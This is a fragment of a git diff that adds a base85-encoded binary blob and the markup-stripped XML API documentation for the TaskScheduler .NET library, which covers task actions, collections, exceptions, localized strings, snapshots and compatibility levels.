z^z_=7Z?Kc9fy!>#vxBcNdz{l}}JcTpKMwNp($MShQni`YtJ}|K8%wEo_vL4m%tS8YSSUT4MrnZU@WI$bj!9Wmp9{OA|DfXon?IH z4Cl2XI~yvDOI#g4qkO?zt>Bhos8NH4$EnU-pbdhzyGTuOm1Ch^NuP^u6F%Hn(~$&mP@;9`I_XC$5U~zI)Y1rt0>fPbaZM6`$NqX zrzQCF1%kd%pg$N|6G`yDPjUR&%?{&`@j!E&C=Q5bV|kppR)U_k0X0WqW;n22I*B7^ ztwuW|0NaUh7sbH{AI%z0npO26+fD2sVta`scx28p1j;X*NrTOKj`IpmeUe67%?Pjx z>ZO4}??Ard9l>?7^ajeqPBFkcp6aVi51(GL__vEq$H9SiRn~NTJhRMEpVT^UX}eyn z>J^NQdrOrfjri-uj`Qf3pZN!EhHv55+>19YB=x>#=u)%8U*#RDLmADOdfimm8c&Y@ zx~biwM2kZ~x5~zjoIzd;a&`OTX~u53Z?h_{go>Zol_$ ze>?E;cb)P1e|Ym>-1*rzzv=L2H$8dXgMap|3%;<#8+`OL4}>1=zB}^h9bdZp@q0dS z%Qx2C^7J>}@Rk+-()qH1pImv_)6ZUX%9np}>b^^U`NpUAxBdN`ubnI_vA0!^W9V9uRZ4_34Uw%4eVL}k{#E6;w7<*zPhaU`d=+uc*Vmn?ces3 zm;L3=?R_8q<-1mwF3*Qg{q?8UzIp$W3$~s2-sJbb)|L9u`!neW-uaE(GjICB`VW5P zYp*>0%9mc$|GpnxG+J45d2j8PJIbH?)|G!U|8=kZ+YaC0f>W;@Tz2qZ2S0Y!<3sN{ zJAdFmCcb~oPrmc`bsyeVf8(J!j&m2k*SGR|P#jn`^1FqfymnUb7Rc`re%)NW#7O@F z_n$z%{iJ!w!`n@q+qr)Q@qb0!xA3&9fG_`-PZ6F^zV+ap&2K&7ckru&dpr3aAbd4S zv|R1Q-*3Us5dJZ^|3XUy$Kq>ApUdU;^XYx&u=MlPgBMngjd4bkN7>ZkZ_VW zOzJhCdiiJbJI3}Eo*Nwd3QxV}lT`+PXC4hX%crmPEp+=)=_R0@eKa(EFkLSM&GM#7 zeFD7ftN``AqoeAh)cbhbr~RCE-q}ltqa??BG|r}zSP#DS>z8I}{f9m7oMPB-5;w%6Sx&mu!MWoroiozeaMez5)FzCu!b| zx|v+fFLggI@|$UmvSDJFYZ0`mMy@;m42pL)%FLS8onM1=<~CkWdSpvXr*^XRsUObu z&e4pKMBXiYtC5uiSu*u2>uCh%%qFrGm1LbUHPwgI#cM%}P3QC@(Jp~*(fkUI50qs` zqFf4s-lKcKVT-T%uQ^t7(7B0ZYA`dmKIbk~ zvYp!R+ym0t$41i2e;d3>_G6&>UmU8{4XOGgWLhyZQ?qC2+w$ro((VJ!H$j|L*Q|NJ zu#`98@I1SfPI6nG?J&^hhJA%>juK%CWv8(~}e7;x5*IE(G( zi<2uPUqUkKI=v01I;3qy-1}xTJQKwZSpnxJ5a~|SX-TK|QgNxw^mYw6dJ!z$X*TjO z8Pxbq1^6LotB#L0)t(EPH{vrhXb`F!`D>)nC|u#LY6N8O^nPj$GRw()!Hdsq`~H9- z*d(zA647IkkVuA%#ui;(nps~(*0nD->(R>I2Z7+R2+Wj(^k9I&;$6pMd1f|^Fl9IE zea9=YInK-^@sDJirLp}q`VgWCm{rCsm2A%K&7tYna6rbCeJ-{^4riQ6g zUKnYrf1eK03-HwJYUjT&ov98N25DC3Z*nxVPhAM&c{7{x=!mxSX@%8ybo3YMf|rnG z&C#>WY^=WHLQDz;ehUzXQZs zV?i@XbefBTW?bF*JQza=A}?IGSZESCPm@(VRpzuoIIVLyVp&@)q|G^K=jofsOFYBQ^tT&cTp? zwTWy7yM$3eCRiS-tjS=P$EEse=oR`X$4@x{%JF$Tt32~92SYq}HR$PWKKx)Z@P=eB z&y%s6EqG3yOmW$mN}404+ma(Zl2-F{P+emi^t4?vQXC=YTb{DnBVRdSY-XOGBK+$bOLoTR5X^WK7cbSvY7IBr+80;jrVObRw{iduhNpJ$271!ZE=v!(&hk}Wi@ ziST(jSXg6-EaVi?_&wO$u2tTwP&Q`l{YjTwDC60MK-PE95-HT1F$<=w2 zbs~<+sHIF=@VZr2ILJ_vC|u|1n~rO=C%9%00>Wv*i;5kAzrrwKbVP;4k6MPk#d zd53sB7CTJAb9Qo%v5i`7D{}Z-;{i2fVg>JNPoJlY3epgh_opEi^Q`QojguN+(*dE+ zvwSkKP{PPzZLY?8Ym%3dtcMs;csCJ$@X5@lPo*9;w@TJS&1k%NiViNWa^-1Do}M^T znUTE27;UjD>fx_uBS;^uvJq!xJ&!2UqmH7Rb2D`G1D^S?p?8rGaL~3{P=EM}IV<^fyFZVk?_Suy=U7(i*ZkAhNM88wr$7Da``-7y>#x85 zt6%-MY!jldrmv;G+3e(Ak==c zd9%g*RVYN@=}6?V_3PjJ-uJ@EU;p)Ala~P5FTC(V>T=UfHyvKL4zzzC8G$nN3IDG* zzVYWj|2e4?ao1gU-EqeqwhC0ABEJ5HH+*SCU(Mj}7Xt$-%j^C6J@@R|wTmneC!V@c zeV75?{uy-V(T{!@x~h$FJ64^x#wEs$t*YAaKqNETkpK{PFJ|*!Yz>> z`p}1_Birz^&p!L9PkrjqM<1P@^u;fJk;v&WgpmM$zuk57-96uWck2f`-V%EG%@3~I za^?F|7yQiw$y5IPUk9E$7|oW~hpzZx_Fv!k_8k}P_-N#u2j_nOz!SOd|55#E=cS)r zxxV&H&m-R+e9f6}@1ChrK`Sefw9==|AoEtv6hIc=zFp@7|obPdqHW|KtDUcs6fU=e(8Q73a=%u8^_P z{bQTWdt4mn9DYxe_Vlzgp{OyZ|6RH*v+eD-9DefE&%NfAfBWp~pMB`5PwD$API}D_ zoetG^m=_@I$W#Y-p#Ud*JM4QXcr>G0-(e0~nr@l)&K}L}U@^AiQhPwOW10&d?`PO? z>|_4n!ft2VhGZ}jbzHXA{K936s=uoH!mnL+;D;@jJiTT2+?Ss>RqgExd#6`yD!hIg z9uHBatF=tIjPG5=G3NbZv9D0ZM^1l-&w_{%k$fFmc~-P3uL7yE81ChF6+dO*={WXz z4r^WP!TdNu#$M{M)^;3yCP!b%(MNLhjhz4fJCPFLK{d!RUyaVBYM$=G)OBRM@HX(f zf|r%wHl;U&WqZC1OYBZy7F+T*zLT|uFJ|rJdNDhoEz0VAs`Z)wqi0tapcnd3Cf2=iFBz^LsLDX5os=w2`UaN_%KBSja%qpLU1Oc}Da)QgaPDpW6@)$T)BwvG zHjkwAb%W!l-u7P@Yb!Evp7lIUUYT(8%`R(ds}nEdZ555xx4mTg@lvjrtEDe46(f_7 zOfjMc`>(J z!?Ks!*-vE^=t(NQN!^+ky@oGwq)&x;*~iZQkd`P~uB`mD16O@?HekOSrc(9cG2MIF zU8<%9?)MSnbrMb-UcI!9QpM>I*k!JJ_*n^QFRNN=hgvZC_d2V%*ZIX>IF=nxrO(73 zGBuL1&f4m|#v(dX8ulQjS-&Pv_Rzr#7cxSr?j^>QDg6+iBT!YXwA1Ez6EkYhWP9t- zL5A#$xvK5;w;mb|dcg>7>YdaJNm=n4wK#*~?d+aOZI#hqA2O5f4TEFbPmJ#**x;PbX=PkS8B-DwZD~%xK&wNFD>!G8N4-Zf)+h5Mld0PM{`~YoTbiYQ zaWZ9Wg1*|aY$P;{T&xjRpLb(kMBX#wyv_%Zru}4Fkn=u;f)0PIryPD$rK*IrT6UNdRWZndMe*&35Ci3ZIaNnT7|#5eQLJC`xn RaR%4SjQ;Pt|34(~e*uD&^~V4J literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + +

Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value 